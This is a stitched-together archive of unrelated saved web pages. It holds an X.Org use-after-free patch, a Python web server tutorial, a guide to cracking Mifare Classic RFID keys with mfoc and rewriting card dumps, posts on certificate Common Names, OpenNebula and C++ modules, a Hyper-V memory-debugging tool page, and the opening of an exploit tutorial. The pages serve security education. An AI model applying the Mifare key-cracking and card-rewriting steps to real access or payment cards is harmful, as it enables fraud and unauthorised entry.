    is present in the sources from the X11R6 tarballs, but not in those from the
    X11R5 tarballs.)
    
    Fixes
    =====
    
    A fix is available via the attached patch, which is intended to be included
    in xorg-server 1.15.0 and 1.14.4.
    
    Thanks
    ======
    
    X.Org thanks Pedro Ribeiro for reporting this issues to our security team at
    xorg-security at lists.x.org.
    
    -- 
    	-Alan Coopersmith-              alan.coopersmith at oracle.com
    	  X.Org Security Response Team - xorg-security at lists.x.org
    
    -------------- next part --------------
    From 7bddc2ba16a2a15773c2ea8947059afa27727764 Mon Sep 17 00:00:00 2001
    From: Alan Coopersmith <alan.coopersmith at oracle.com>
    Date: Mon, 16 Sep 2013 21:47:16 -0700
    Subject: [PATCH] Avoid use-after-free in dix/dixfonts.c: doImageText()
     [CVE-2013-4396]
    
    Save a pointer to the passed in closure structure before copying it
    and overwriting the *c pointer to point to our copy instead of the
    original.  If we hit an error, once we free(c), reset c to point to
    the original structure before jumping to the cleanup code that
    references *c.
    
    Since one of the errors being checked for is whether the server was
    able to malloc(c->nChars * itemSize), the client can potentially pass
    a number of characters chosen to cause the malloc to fail and the
    error path to be taken, resulting in the read from freed memory.
    
    Since the memory is accessed almost immediately afterwards, and the
    X server is mostly single threaded, the odds of the free memory having
    invalid contents are low with most malloc implementations when not using
    memory debugging features, but some allocators will definitely overwrite
    the memory there, leading to a likely crash.
    
    Reported-by: Pedro Ribeiro <pedrib at gmail.com>
    Signed-off-by: Alan Coopersmith <alan.coopersmith at oracle.com>
    Reviewed-by: Julien Cristau <jcristau at debian.org>
    ---
     dix/dixfonts.c |    5 +++++
     1 file changed, 5 insertions(+)
    
    diff --git a/dix/dixfonts.c b/dix/dixfonts.c
    index feb765d..2e34d37 100644
    --- a/dix/dixfonts.c
    +++ b/dix/dixfonts.c
    @@ -1425,6 +1425,7 @@ doImageText(ClientPtr client, ITclosurePtr c)
                 GC *pGC;
                 unsigned char *data;
                 ITclosurePtr new_closure;
    +            ITclosurePtr old_closure;
     
                 /* We're putting the client to sleep.  We need to
                    save some state.  Similar problem to that handled
    @@ -1436,12 +1437,14 @@ doImageText(ClientPtr client, ITclosurePtr c)
                     err = BadAlloc;
                     goto bail;
                 }
    +            old_closure = c;
                 *new_closure = *c;
                 c = new_closure;
     
                 data = malloc(c->nChars * itemSize);
                 if (!data) {
                     free(c);
    +                c = old_closure;
                     err = BadAlloc;
                     goto bail;
                 }
    @@ -1452,6 +1455,7 @@ doImageText(ClientPtr client, ITclosurePtr c)
                 if (!pGC) {
                     free(c->data);
                     free(c);
    +                c = old_closure;
                     err = BadAlloc;
                     goto bail;
                 }
    @@ -1464,6 +1468,7 @@ doImageText(ClientPtr client, ITclosurePtr c)
                     FreeScratchGC(pGC);
                     free(c->data);
                     free(c);
    +                c = old_closure;
                     err = BadAlloc;
                     goto bail;
                 }
    -- 
    1.7.9.2
[/code]

# Making a simple web server in Python

**Created:**| _12/12/2010 12:50:08 PM_  
---|---  
**Updated:**| _12/12/2010 12:50:26 PM_  
**Author:**| __  
**Tags:**| _bookmark python web Tutorials programming awesome_  
  

Making a simple web server in Python.

written by Jon Berg <jon.berg\[at\]turtlemeat.com>

The great thing about Python is what they call "batteries included", that
means a lot of functionallity is bundled with the programming language. And
the functionallity is fairly straight to use.  
  
Today we are going to demonstrate how to build a web server in less than 30
min. using the classes from the Python library. We are also going to have some
"advanced" functionallity in this server. We want to do dynamic content
serving \(ala what ASP or PHP do\), and be able to take POST from forms. This
may sound as a complex task, but as you will see every body can acomplish this
through some high level programming interfaces. You don't have to know much
about the HTTP protocol at all. Except some basic that when the client request
something it is a "GET", and when the client sends something it is in our case
a POST. Some basic responce codes like 200 is OK for GET, and 404 is file not
found, 301 is OK for a Post.  
  
The web server is implemented as an extention of the BaseHTTPRequestHandler.
This means that we define a class an implemenet some methods that will be
called when the web server gets requests. There are two methods one for GET
requests and one for POST requests.  
  
Lets look at the code:  
<img src='img/Temp2_5074.gif' width='714' height='1004' />  
  
The main\(\) tries to start the server at port 80 with a reference to the
class we just implemented. To quit the server you can press ctrl-c. And the
server will close the socket and quit.  
  
The do\_GET\(\) gets invoked when you do a GET request. It do checking to see
what type of file is requested. If it is a html file it tries to open it and
send it to the client. If it is a esp file, our dynamic content, it will print
out the current day and year.  
  
The do\_POST\(\) gets invoked when you do a POST request. It then displays the
content that is uploaded. The name of the formelement is hardcoded to be
"upfile".  
  
Running the example:  
start the webserver with python webserver.py  
Then you can open your web browser and type in http://localhost/index.html or
http://localhost/index.esp  
To test the upload, you open the upload.html, press browse, open a small text
file, click "press", the server will echo back the file.

Download the example code. \(webserver.py, index.html, upload.html\)  

  
Pointers to related stuff on the hypertext transfer protocol \(http\) and web
servers:  
  
Making a simple web server in Java. \(a bit lower level\) This is a tutorial I
did on how to do somewhat the same but in Java. This implementation is much
more bottom up, with sockets and not that many short cuts as you can do in
Python.

HowStuffWorks This is a very basic introduction for the novice on how web
servers works. Has also other text about Internet and Routers, in easy to
understandable language. Nice if you are starting out learning.

HTTP Made Really Easy Here is some nice text that goes through the main points
in HTTP. A little more technical. It's recommended that you know these things
to understand the above tutorial.  
  
Apache the best and most widely used web server on the Internet today, check
it out. If you want to run your own web server this is the one to get, you can
get binaries for both Windows and Unix. You can download the entire sourcecode
if you want to check how it was made.

Mozilla / Netscape is a nice web browser. Get rid of the Explorer.

RFC-1945 RFC describing Hypertext Transfer Protocol -- HTTP/1.0

RFC-2616 RFC describing Hypertext Transfer Protocol -- HTTP/1.1

RFC webpage The Request For Comment webpage, RFC are technical documents
describing all sorts of protocols on the Internet.

Python webpage Download Python for windows or linux.

**  
  
**

**Linux  
Setup Software Raid 1 with LVM  
**

**Google  
Google AdSense for Domains - not so great  
Let Google Handle Email for your Domain Name  
Page Rank banned by Google  
Google's highest ranked web pages  
SEO intelligent spam causes irrelevant search results  
Google Sandbox  
Google ranking factors  
How to not give out page rank in web page links**

**Web Server Programming  
Simple Java web server  
Simple Python web server  
Configuring Apache webserver with .htaccess file**

**Windows  
Turn off the loginscreen in XP, after installing .NET .  
Turn off xp login screen unread mail count  
What is .NET**

**Web \(webmastering\)  
Introduction to Cascading style sheets \(CSS\)  
The value of Alexa traffic rank  
HTML META tag, not a search engine optimization tool  
Create a maintainable webpage with modularization  
The www prefix in your domain name  
What is RSS and cool things RSS can be used for  
MySql backup and restore with phpMyAdmin**

**Mix Computer related text  
Doing business \(making money\) with Information Technology  
Business with Computer Science  
Research in Computer Science  
Current and future possibilities of Medical Informatics  
Tasks that make sense to have automated  
Programming handheld mobile devices \(overview\)  
Security tips for the web surfer  
Price and Capacity in computer hardware  
Java RMI Tutorial.**

**Microsoft Word  
Page numbering in Word  
Numbering headers or outlines in Word  
Create a List of Figures  
Turn off the default collapsing menus in Word**

# RFID Cooking with Mifare Classic - BackTrack Linux

**Created:**| _7/15/2011 2:23:23 PM_  
---|---  
**Updated:**| _7/15/2011 2:36:57 PM_  
**Author:**| __  
**Tags:**| _howto wireless rfid_  
  

# RFID Cooking with Mifare Classic

This article was contributed by MI1.

  * URL : http://hack4fun.eu
  * Twitter: http://twitter.com/\#\!/mi1c00k
  * Email : \[email protected\]

## Contents

  * 1 RFID Cooking with Mifare Classic
  * 2 0x00 - Preface
    * 2.1 Dependencies
  * 3 0x01 - Hardware
    * 3.1 Touchatag - ACR122U
  * 4 0x02 - Software
    * 4.1 ACR122U driver
    * 4.2 Open Source Near Field Communication \(NFC\) Library /LIBNFC/
    * 4.3 MFOC -Mifare Classic Offline Cracker
  * 5 0x03 - Dumping & Cooking
  * 6 0x04 – ISIC Issue
  * 7 0x06 – Conclusion
  * 8 0x07 – What's next?
  * 9 0x08 – Thanks
  * 10 0x09 – References & Links
  * 11 0x0A - About

  
---  
## RFID Cooking with Mifare Classic

DISCLAIMER:The information and reference implementation is provided:

  * For informational use only as part of academic or research study, especially in the field of informational security, cryptography and secure systems
  * As-is without any warranty, support or liability - any damages or consequences obtained as a result of consulting this information if purely on the side of the reader
  * NOT to be used in illegal circumstances \(for example to abuse, hack or trick a system which the reader does not have specific authorizations to such as ticketing systems, public transport, University/ISIC cards, building access systems or whatsoever systems using Mifare Classic as core technology\)

NOTES:

  * This article contain no original research. All the research and implementation was made by other people and communities and is publicly available. We made this two cents just for fun and because we love BackTrack.
  * This is not A-Z guide so try harder\!

## 0x00 - Preface

Some of you may have read that the proprietary symmetric key cryptographic
algorithm of the MIFARE Classic card has been broken. The MIFARE Classic card
is used in physical access control systems \(PACS\) and contact less payment
systems \(including tollway and public transportation systems\). By some
estimates, there are 500 million MIFARE cards deployed worldwide, and the
majority of them are MIFARE Classic cards.

Mifare Classic is a inexpensive, entry-level chip, based on ISO/IEC 14443 Type A, 1kB or 4kB. Uses 13.56 Mhz contactless smartcard standard, proprietary CRYPTO1 with 48 bits keys. There is no protection against cloning or modifications. Anyone with 50 € reader can use this weakness against your infrastructure. At least one sector is always encrypted with default key. After cracking all keys, hackers are able to change name, students university number, expiration date... This cookbook is proof of concept how easy that can be done. Chosen ingredients: Backtrack | Touchatag starter package Tested on: BackTrack 4 R2, BackTrack 5 Final, \(32bit\)
### Dependencies

[code]

     root@bt:~# apt-get install flex libpcsclite-dev libusb-dev checkinstall
    
    
[/code]

## 0x01 - Hardware

### Touchatag - ACR122U

Touchatag is ACS ACR122\(U\) NFC Reader USB RFID reader. The USB reader works
at 13.56MHz \(High Frequency RFID\) and has a readout distance of about 4 cm
\(1 inch\) when used with the Touchatag RFID tags. This product is made by
Advanced Card Systems Limited and seems to be available in different layouts
but hardware doesn't differ so much. They are all using a PN532 NFC Controller
chip and a ST7 microcontroler unit.

## 0x02 - Software

### ACR122U driver

[code]

    root@bt:~# wget http://www.acs.com.hk/drivers/eng/ACR122U_driver_Lnx_Mac10.5_10.6_1.02_P.zip 
    root@bt:~# unzip -d acr122u ACR122U_driver_Lnx_Mac10.5_10.6_1.02_P.zip 
    root@bt:~# cd acr122u 
    root@bt:~# tar -jxvf acsccid-1.0.2.tar.bz2
    root@bt:~# cd acsccid-1.0.2 
    root@bt:~# ./configure
    root@bt:~# make 
    root@bt:~# checkinstall -D -y --install
    
    
[/code]

### Open Source Near Field Communication \(NFC\) Library /LIBNFC/

Libnfc is the first free NFC SDK and Programmers API released under the GNU
Lesser General Public License.

[code]

    root@bt:~# apt-get install -y debhelper libtool && wget http://libnfc.googlecode.com/files/libnfc-1.4.2.tar.gz 
    root@bt:~# tar xfvz libnfc-1.4.2.tar.gz &&cd libnfc-1.4.2 
    root@bt:~# svn checkout http://libnfc.googlecode.com/svn/tags/libnfc-1.4.2/debian 
    root@bt:~# dpkg-buildpackage -rfakeroot
    root@bt:~# dpkg -i ../libnfc*.deb
    
    
[/code]

Check your reader / target with nfc-list.

[code]

    root@bt:~# nfc-list 
    nfc-list use libnfc 1.4.2 (r891) 
    Connected to NFC device: ACS ACR122U 00 00 / ACR122U103 - PN532 v1.6 (0x07) 
    1 ISO14443A passive target(s) was found:
     ATQA(SENS_RES):00 02 
      UID (NFCID1): xx xx xx xx
      SAK (SEL_RES): 18
    
    
[/code]

### MFOC -Mifare Classic Offline Cracker

Mifare Classic Offline Cracker is a tool that can recover keys from Mifare
Classic cards. Thanks to Norbert Szetei and Pavol Luptak for their attack's
implementation. MFOC is utility to compute \(crack\) all keys \(A and B\) to
all sectors, providing at least one of the keys is already known. Keys file is
the file, where mfoc will store cracked keys. Format of that file is
compatible with nfc-mfclassic, so you can then use it to dump the card into
file, or write a dump onto the card.

[code]

    root@bt:~# wget http://nfc-tools.googlecode.com/files/mfoc-0.10.2.tar.gz && tar -xvzf mfoc-0.10.2.tar.gz 
    root@bt:~# cd mfoc-0.10.2 
    root@bt:~# autoreconf -vis 
    root@bt:~# ./configure 
    root@bt:~# make
    root@bt:~# checkinstall -D -y --install
    
    
[/code]

## 0x03 - Dumping & Cooking

psscd coordinates the loading of drivers for card readers. It allows
applications to access smart cards and readers without knowing details of the
card or reader. It is a resource manager that coordinates communications with
smart card readers and smart cards and cryptographic tokens that are connected
to the system. I prefer start pcscd in foreground \(no daemon\) with pcscd -f.
Then it's time to start mfoc. Use high number of probes, because default
number of probes for a key recovery for one sector is 20. Whole cracking could
take from 30 minutes to 30 hours.

  

  

  

  

  
You can also use the -k key parameter, to add a key to the list of known keys,
which is being tried against your card in the initial phase. The -k option
somehow didn't work for me, so I always compile my known keys directly into
mfoc.c Search for “Array with default Mifare Classic keys” Not sure about
other countries, but in country where I live keys are the same. Once you have
keys from all sectors, you should be able to use RFID-Fu against other cards,
which is epic fail.

[code]

    root@bt:~# nfc-mfclassic --help 
    Usage: nfc-mfclassic r|w a|b <dump.mfd> [<keys.mfd>]
    r|w- Perform read from (r) or write to (w) card 
    a|b- Use A or B keys for action 
    <dump.mfd>- MiFare Dump (MFD) used to write (card to MFD) or (MFD to card)
    <keys.mfd>- MiFare Dump (MFD) that contain the keys (optional)
    Or: nfc-mfclassic x <dump.mfd> <payload.bin> 
     x- Extract payload (data blocks) from MFD 
     <dump.mfd>- MiFare Dump (MFD) that contains wanted payload 
     <payload.bin> - Binary file where payload will be extracted
    
    
[/code]

Keep in mind that card UID will be not affected \(not changed\) with this
process. Buy some blank card or Proxmark III if that is what you want. If you
are now thinking about dumping your electronic wallet right after recharge and
when credit comes to zero, writing content back, then please don't do it. What
can stop you from doing that? Well, probably only your conscience, but if the
card gets blocked in 24 hours after first use then don't complain. Yes, there
are online checking and billing systems out there for basic cards.

## 0x04 – ISIC Issue

With ISIC- International Student Identity Card attacker can abuse around ten
service not only one. ISIC cards are widely used for entrance, transportation,
dining payments and various others services or discounts. According to
homepage there are 4.5 million cardholders in 120 countries. Cards should be
replaced with more secure types ASAP. It is possible to do much more than
that, but sufficient for demonstration let's play a little...

At some universities, there is only one entry security check – ISIC. As you
can see this is trivial to bypass. We did many tests with public
transportation systems and with university systems. Results are all the same –
those systems are easily hackable.

## 0x06 – Conclusion

Finally, when will people learn their lesson? Cryptographic algorithms should
be public so that they can be scrutinized and tested. Secret algorithms aren’t
more valuable because they are secret. Anyone needing a highly secure smart
card should make sure there's layered security and not just depend on the
chip's encryption.

## 0x07 – What's next?

  * Since i have access to Proxmark III which is universal RFID hacking tool which can be used for 100% accurate cloning \(even UID\), i may once write second edition about c00king with Mifare Classic and HID Prox...
  * Arming BackTrack with GSM attack suite?

## 0x08 – Thanks

This cookbook was made with great help from h4f guys, many thanks to Vulcano
and Back.

## 0x09 – References & Links

For further reading about this topic please see following:

  * http://www.cs.virginia.edu/~kn5f/pdf/K.Nohl.PhD Implementable.Privacy.for.RFID.Systems.pdf
  * http://events.ccc.de/congress/2007/Fahrplan/events/2378.en.html
  * http://packetstorm.rlz.cl/papers/wireless/2008-esorics.pdf
  * http://www.nethemba.com/mifare-classic-slides.pdf
  * http://code.google.com/p/nfc-tools/wiki/mfoc

## 0x0A - About

MI1 is a "full time security enthusiast" with university degree in the field
of informatics. Recently focusing his passion to USRP and RFID stuff.

# CA Security Council | The \(Soon to Be\) Not-So Common Name
**Created:**| _10/9/2013 11:27:05 AM_  
---|---  
**Updated:**| _10/9/2013 11:27:05 AM_  
**Author:**| __  
**Tags:**| _ssl_  
  

# **T** he \(Soon to Be\) Not-So Common Name****

Posted by Ryan Hurst  on October 8, 2013 0 comments

Share:

If you are reading this post you are probably already familiar with the use of
digital certificates and SSL even if you may not be familiar with the
history**.** Before exploring the history of SSL, let’s review at its core
what a digital certificate actually is**.** Fundamentally, a digital
certificate is the binding of entitlements and constraints to a key, in other
words a digital certificate would dictate the following, “The holder of the
private key associated with this certificate can rightfully use the name John
Smith when signing emails**.** ”

When originally conceived Digital Certificates were used to help bind subjects
\(people and resources\) to their representations in directories**.** This is
why a certificate’s Subject Name is structured as a Distinguished Name \(DN\),
which allows a directory to uniquely identify a subject**.** When looking up
an encryption key for a user in an enterprise directory this approach makes
perfect sense; however, it does not work so well on the Internet where there
is no global directory of users**.**

This brings us to SSL, introduced in the mid 1990s during a time where nearly
every large enterprise was already deploying directories and Certificate
Authorities as part of their identity management frameworks**.** During this
time there was only one way to represent the concept of a certificate subject
and that was through the use of the Common Name \(CN\) field, which resulted
in the DNS name of a SSL server to be placed within the CN field**.** Although
technically acceptable, the CN field was originally intended for a user’s
actual name**.**

After SSL was finalized and broadly accepted, the Internet Engineering Task
Force \(IEFT\) released a profile for X.509 which introduced the concept of
Subject Alternative Names \(SANs\) where names not associated with a directory
could be placed**.** This created a problem because certificates were already
standardized on using the Common Name field for names not associated with a
directory**.**

This led to many challenges, first of all many servers \(especially today\)
have multiple DNS names and applications that are designed to support only the
common name field doesn’t work with a single certificate that has more than
one DNS name**.** Users were able to address this in the short term by using a
single certificate for each DNS name but it came at a high cost as users
needed to use a single IP address for each domain name**.**

Another problem with the usage of this approach is that applications don’t
know what type of value to expect in the Common Name field**.** Is the value a
person’s name or is it a DNS name? This is a problem because often times there
are rules that require you to validate a piece of data before using it and
this is especially true for DNS names**.** Since 1999 \(when RFC 2549 was
standardized\) we have been on a slow path to moving away from the use of
Common Names for domain names to using Subject Alternative Names**.**

Fast forward to 2012, Stanford researchers published a paper titled “ _The
most dangerous code in the world: validating SSL Certificates in non-browser
software_ ” which identified a bunch of applications that fail to do the most
basic certificate validation tasks correctly and as a result are the source of
a bunch of security vulnerabilities**.** The applications discussed in the
paper gave users a false sense of security not out of malice but as a result
of the lack of understanding of the technology and a big part of that is the
complexity 18 years of technological evolution carries with it**.**

To address this, a number of things need to change but one of the most
immediate changes is the definition of what constitutes a valid SSL
Certificate**.** This is changing to make the rule-set a little simpler for
the application developer and to rule out options that are no longer
considered good practice**.**

We see this happening in a few ways. First the CA/Browser Forum has worked
with browsers to define a set of baseline practices that all Certificates must
meet; we are also seeing browsers doing sanity checks to ensure these
practices are in-fact followed**.**

These baseline requirements mandate that Certificate Authorities always
include at least one Subject Alternative Name in the SSL Certificate they
issue, meaning that today an application doesn’t need to look in both the
Common Name and the Subject Alternative Name they only need to check the
latter**.**

Currently most Certificate Authorities include the first DNS Name from the
Subject Alternative Name in the Common Name field but this is done primarily
for legacy reasons and at some point in the future will stop**.** When it does
certificates will be a little smaller and developers lives may be a little
easier**.**

With that being said, it’s hard to estimate when the CN field will be
completely removed from certificates, as even today new applications that are
being developed are using the CN field vs**.** the SAN field, and if an
application does not look at the SAN field, the application will likely not
work in a large number of deployments**.** This is exacerbated through the use
of shared hosting which is used even more frequently due to the IPv4 address
exhaustion problem \(http://www.potaroo.net/tools/ipv4/index.html \)**.** Long
story short, these applications already don’t work everywhere and are going to
work less places soon**.**

### Resources****

****

# OpenNebula - Flexible Enterprise Cloud Made Simple

**Created:**| _10/15/2013 12:41:16 PM_  
---|---  
**Updated:**| _10/15/2013 12:41:16 PM_  
**Author:**| __  
**Tags:**| _cloud computing network-security infrastructure_  
  

OpenNebula Zones Overview 4.2

<img src='img/Temp2_5892.png' width='300' />

The **OpenNebula Zones** \(oZones\) component allows for the centralized
management of multiple instances of OpenNebula \(zones\), managing in turn
potentially different administrative domains. The module is run by the oZones
administrator, with capacity to grant access to the different zones to
particular users.

These zones can be effectively shared through the Virtual DataCenter \(VDC\)
abstraction. A VDC is a set of virtual resources \(images, VM templates,
virtual networks and virtual machines\) and users that manage those virtual
resources, all sustained by infrastructure resources offered by OpenNebula. A
VDC is supported by the resources of one zone, and it is associated to one
cluster of the zone. The resources that the VDC can dispose of are a subset of
that cluster. There is a special user \(the VDC administrator\) that can
create new users inside the VDC, as well as manage all the virtual resources
\(but can not access other resources in the zone or even the see the physical
hosts used for the VDC\). VDC admin and users access the zone through a
reverse proxy, so they don't need to know the endpoint of the zone, but rather
the address of the oZones module and the VDC where they belong to.

The bird's-eye view of the oZones component can be sketched with a simple
scenario. Let's take the point of view of the oZones manager that has access
to two OpenNebula instances, managing resources in two different
administrative domains. She can add those two instances as OpenNebula Zones in
the oZones manager \(provided she has the “oneadmin” credentials of both
OpenNebula instances\), and afterwards take a look at an aggregated view of
resources combined from both zones. Also, she may want to give just a portion
of the physical resources to a set of users, so she will create a VDC in one
of the given zones, selecting a subset of the available hosts, and creating an
account for the VDC admin. Once this is in place, she will be able to provide
with access URL for the OpenNebula CLI and Sunstone GUI to the users, an url
that will mask the location of the OpenNebula zone by using a reverse proxy.
An example of such a URL can be:

[code]

    http://ozones-server/MyVDC
[/code]

## Benefits

This new **Zones** functionality addresses many common requirements in
enterprise use cases, like for instance:

  * Complete **isolation** of users, organizations or workloads in different Zones with different levels of security or high availability
  * Optimal **performance** with the execution of different workload profiles in different physical clusters with specific architecture and software/hardware execution environments
  * Massive **scalability** of cloud infrastructures beyond a single cloud instance
  * **Multiple site** support with **centralized management** and access to clouds hosted in different data centers to build a geographically distributed cloud

Moreover, the **VDC** mechanism allows advanced on-demand provisioning
scenarios like:

  * On-premise Private Clouds Serving **Multiple Projects, Departments, Units or Organizations**. On-premise private clouds in large organizations require powerful and flexible mechanisms to manage the access privileges to the virtual and physical infrastructure and to dynamically allocate the available resources. In these scenarios, the cloud administrator would create a VDC for each Department, dynamically allocation physical hosts according to their needs, and delegating the internal administration of the VDC to the Department IT administrator.
  * Cloud Providers Offering **Virtual Private Cloud Computing**. There is a growing number of cloud providers, especially Telecom Operators, that are offering Virtual Private Cloud environments to extend the Private Clouds of their customers over virtual private networks, thus offering a more reliable and secure alternative to traditional Public Cloud providers. In this new cloud offering scenario, the cloud provider provides customers with a fully-configurable and isolated VDC where they have full control and capacity to administer its users and resources. This combines a public cloud with the protection and control usually seen in a personal private cloud system. Users can themselves create and configure servers via the SunStone portal or any of the supported cloud APIs. The total amount of physical resources allocated to the virtual private cloud can also be adjusted.

# Using C++ Modules in Visual Studio 2017

**Created:**| _5/8/2017 8:19:41 AM_  
---|---  
**Updated:**| _5/8/2017 8:19:41 AM_  
**Author:**| __  
**Tags:**| _C++ visualstudio_  
  

  

# Using C++ Modules in Visual Studio 2017

★★★★★

★★★★

★★★

★★

★

May 5, 2017 by Andrew Pardoe \[MSFT\] // 17 Comments

  * Share
  * 0
  * 50

_This post was written byGabriel Dos Reis, Andrew Pardoe, and Billy O’Neal _

#### What Is New?

The Visual C++ Team is elated to announce that with Visual Studio 2017, it has
substantially improved the quality of the C++ Modules TS implementation in
Visual Studio, in addition to introducing ability to consume the C++ Standard
Library via module interfaces. These module interfaces for the Standard
Library, just like the compiler support for modules, are experimental and will
evolve to track the standardization process.

#### Getting Started

Standard Library Modules support is included in Visual Studio 2017 RTM or
newer. This capability is currently optional and off by default. In future
versions, they will be installed by default alongside the Standard Library
headers. Just choose this option when installing or updating your C++ support.

<img src='img/vsinstall-stdifcs-1024x572.png' width='879' height='491'
alt='Install Standard Library Modules' />

If you’ve already installed VS 2017 and didn’t install the Standard Library
Modules, it’s easy to fix. Just rerun the installer to modify your
installation options.

<img src='img/vsinstall-reruninstaller.png' width='392' height='680'
alt='Rerun VS Installer' />

#### Testing Your Installation

To verify that you have VS 2017 set up to take advantage of Standard Library
Modules, compile and run this simple program \(say in a file `test-
vs2017-slm.cxx`\) from a Developer Command Prompt. As the feature is still
experimental, there is very little built-in support in the VS IDE for modules
at this point.

1234567| `import std.core; `` ` `int` `main() { `` ``using` `namespace` `std;
`` ``vector<string> v { ``"Plato"``, ``"Descartes"``, ``"Bacon"` `}; ``
``copy(v.begin(), v.end(), ostream_iterator<string>(cout, ``"\n"``)); ``} `  
---|---  
with the command

1| `cl /experimental:module /EHsc /MD /std:c++latest test-vs2017-slm.cxx `  
---|---  
That should effortlessly produce an executable \(`test-vs2017-slm.exe`\) that,
when executed, prints Plato, Descartes, and Bacon, each on a new line.

#### Compiler Switch for Consuming Standard Library Modules

You need to add the compiler switch `/MD` when compiling a source file that
consumes the standard library modules. The `/MD` switch brings in the dynamic
library for the CRT. In a debug build, you need to use `/MDd` instead of
`/MD`.

If you forget to specify `/MD` \(or `/MDd` for debug builds\), you will get
warnings from the linker and eventually a linker error `LNK2019` indicating
unresolved external symbols.

No other option is needed to take advantage of the Standard Library Modules
support. The Standard Library modules are provided only for use with the DLL
import libraries of the UCRT.

#### Consuming Standard Library Modules from the VS IDE

If you want to use the IDE instead of the command line, you can configure your
project to use experimental modules according to the following steps.

  1. First, open Properties for the project you want to use: 
<img src='img/modules-properties-1024x818.png' width='879' height='702'
alt='Open Project Properties' />

  2. Next, under Configuration Properties -> C/C++ -> Code Generation, verify that Multithreaded Debug DLL or Multithreaded DLL \(for Debug and Release, respectively\) are set. These are the default options for new projects, so if you have not changed these settings everything should work.
<img src='img/modules-usedynamiclibs.png' width='838' height='597' alt='Use
dynamic libraries' />

  3. Next, make sure C++17 features are enabled under Configuration Properties -> C/C++ -> Language, by selecting C++17 or C++ Latest Draft Standard for any configurations you want to use.
<img src='img/modules-latestdraftstandard.png' width='838' height='597'
alt='Use latest draft standard' />

  4. Lastly, add `/experimental:module /module:stdIfcDir "$(VCToolsInstallDir_150)ifc\$(PlatformTarget)"` to Configuration Properties -> C/C++ -> Command Line to turn on modules for that project. Note that this step won’t be necessary in future versions of VS 2017: the VS IDE will provide the location of the standard library modules files \(the `/module:stdIfcDir` parameter\) for you when you choose to enable C++ Modules.
<img src='img/modules-commandline.png' width='838' height='597' alt='Modules
configuration properties' />

Now build and test run should succeed, showing you the names of three
philosophers.

<img src='img/modules-build-test-run-1024x815.png' width='879' height='700'
alt='Running modules test' />

#### Module Exportation Syntax Change

At the November 2016 C++ standards meeting, the C++ standards committee
changed the syntax for exporting a module \(see Module Issue \#1\) from

1| `export module Bank;`  
---|---  
to

1| `export import Bank;`  
---|---  
This release of Visual C++ implements that resolution, in addition to allowing
the old syntax with a warning. The C++ committee is considering repurposing
the old syntax, with an incompatible meaning. We encourage you to convert to
the new syntax; support for the old syntax will be discontinued to implement
the Module TS draft as amended by the ISO C++ standards committee.

#### Standard Library Modules \(Experimental\)

A key novelty in VS2017 RTM release is support for consuming the C++ Standard
Library via modules. This is an experimental feature and described in the C++
proposal Standard Library Modules. In this release, the modules are organized
as follows:

  * `std.regex` provides the content of header `<regex>`
  * `std.filesystem` provides the content of header `<experimental/filesystem>`
  * `std.memory` provides the content of header `<memory>`
  * `std.threading` provodes the contents of headers `<atomic>`, `<condition_variable>`, `<future>`, `<mutex>`, `<shared_mutex>`, `<thread>`
  * `std.core` provides everything else in the C++ Standard Library

To use any of these modules in your program, just write `import _M_ ;` at
toplevel in your source file, where _M_ is any of the modules listed above.
See the test example.

If you want to use modules for header other than the standard library headers,
the standard library modules are produced using the `/module:export` switch
described in the initial C++ modules blog post; with `/module:export`. If you
have other libraries on which you depend and want to try a completely header-
free experience, you can package those other headers in the same way.

Future releases will more closely track the Standard Library Modules proposal.

#### Call to Action

Download Visual Studio 2017 today and try out modules in your C++ projects and
programs. You can start with just replacing all `#include`s of standard
headers for containers and algorithms with a simple `import std.core;` in your
source files and adding the compiler switches `/experimental:module` and `/MD`
or `/MDd` \(if you’re building as debug\) to your build definition. Let us
know about your experience.

#### In Closing

As always, we welcome your feedback. Feel free to send any comments through
e-mail at visualcpp@microsoft.com, through Twitter @visualc, or Facebook at
Microsoft Visual Cpp.

If you encounter other problems with MSVC in VS 2017 please let us know via
the Report a Problem option, either from the installer or the Visual Studio
IDE itself. For suggestions, let us know through UserVoice. Thank you\!

  

# LiveCloudKd | MoonSols
**Created:**| _10/22/2013 10:34:21 AM_  
---|---  
**Updated:**| _10/22/2013 10:34:21 AM_  
**Author:**| __  
**Tags:**| _Debugging virtusalisation kernel windbg_  
  

# **L** iveCloudKd****

On: Aug 12 Author: msuiche Categories: Blog

**_Debugging the clouds from the Moon_**

**__**

**_<img src='img/Temp2_4960.png' />_**

**__**

**What is LiveCloudKd**?****

It is like LiveKd from SysInternals, but it is for Virtualized Windows
Operating System running on Microsoft Hyper-V R2**.**

MoonSols’ **LiveCloudKd** also allows you to run the Kd and WinDbg from the
Microsoft Debugging Tools Package – locally on the host machine – but not for
your live system but for all Virtual Machines running in Microsoft Hyper-V
R2**.** It makes it possible to execute all the debugger’s commands that work
during the analyzis of a Microsoft crash dump**.** This includes writing
commands – Which makes also possible to modify the memory \(code, kernel
structures …\) of a running Microsoft Hyper-V Virtual Machine**.**

Using MoonSols **LiveCloudKd** you can also save the content of the physical
memory of a selected Virtual Machine, either in a raw memory dump or in a
Microsoft Crash Dump**.**

Moreover, **LiveCloudKd** does not require having the debug mode enabled, for
both host and guest virtual machines – and **LiveCloudKd** does not require
you to have symbols installed to work ; even if this is strongly recommend if
you want to explore the power of Microsoft Kd/WinDbg commands**.**

**LiveCloudKd** works with all Windows Virtual Machines from Windows XP to
Windows 7/Windows 2008 R2, for both x86 and x64 Editions**.**

You can either download the **LiveCloudKd** Manual  for more information**.**

Download LiveCloudKd

Below, are some screenshots of **LiveCloudKd** in action, including one sample
of**LiveCloudKd** on Windows 7 x64 doing what I call  _offensic_ for a
_privilege**de** -escalation_ of a cmd.exe process of the guest **from** the
host**.**

<img src='img/Temp2_4961.png' />

<img src='img/Temp2_4959.png' />

The following screenshot shows how LiveCloudKd had been use to give system
privilege to a cmd.exe process of the Windows 7 x64 Guest/Virtual Machine
**from** the Host**.**

<img src='img/Temp2_4962.png' />

Thanks to Alex Ionescu , Nicolas Ruff , @0xacdc  and Laurent Gaffié  for
review, ideas, and beta-testing <img src='img/Temp2_4963.png' alt=':-)' />

****

# Windows Exploit Development - Part 7: Unicode Buffer Overflows - Security
SiftSecurity Sift

**Created:**| _8/19/2015 11:34:15 AM_  
---|---  
**Updated:**| _8/19/2015 11:34:15 AM_  
**Author:**| __  
**Tags:**| _Exploit windows environment_  
  

### Introduction

In this seventh installment of the Windows Exploit Development Series, I’ll
introduce Unicode Buffer Overflows. We’ll start with a brief introduction to
Unicode \(what it is and why/how it’s used in Windows\) and then jump right in
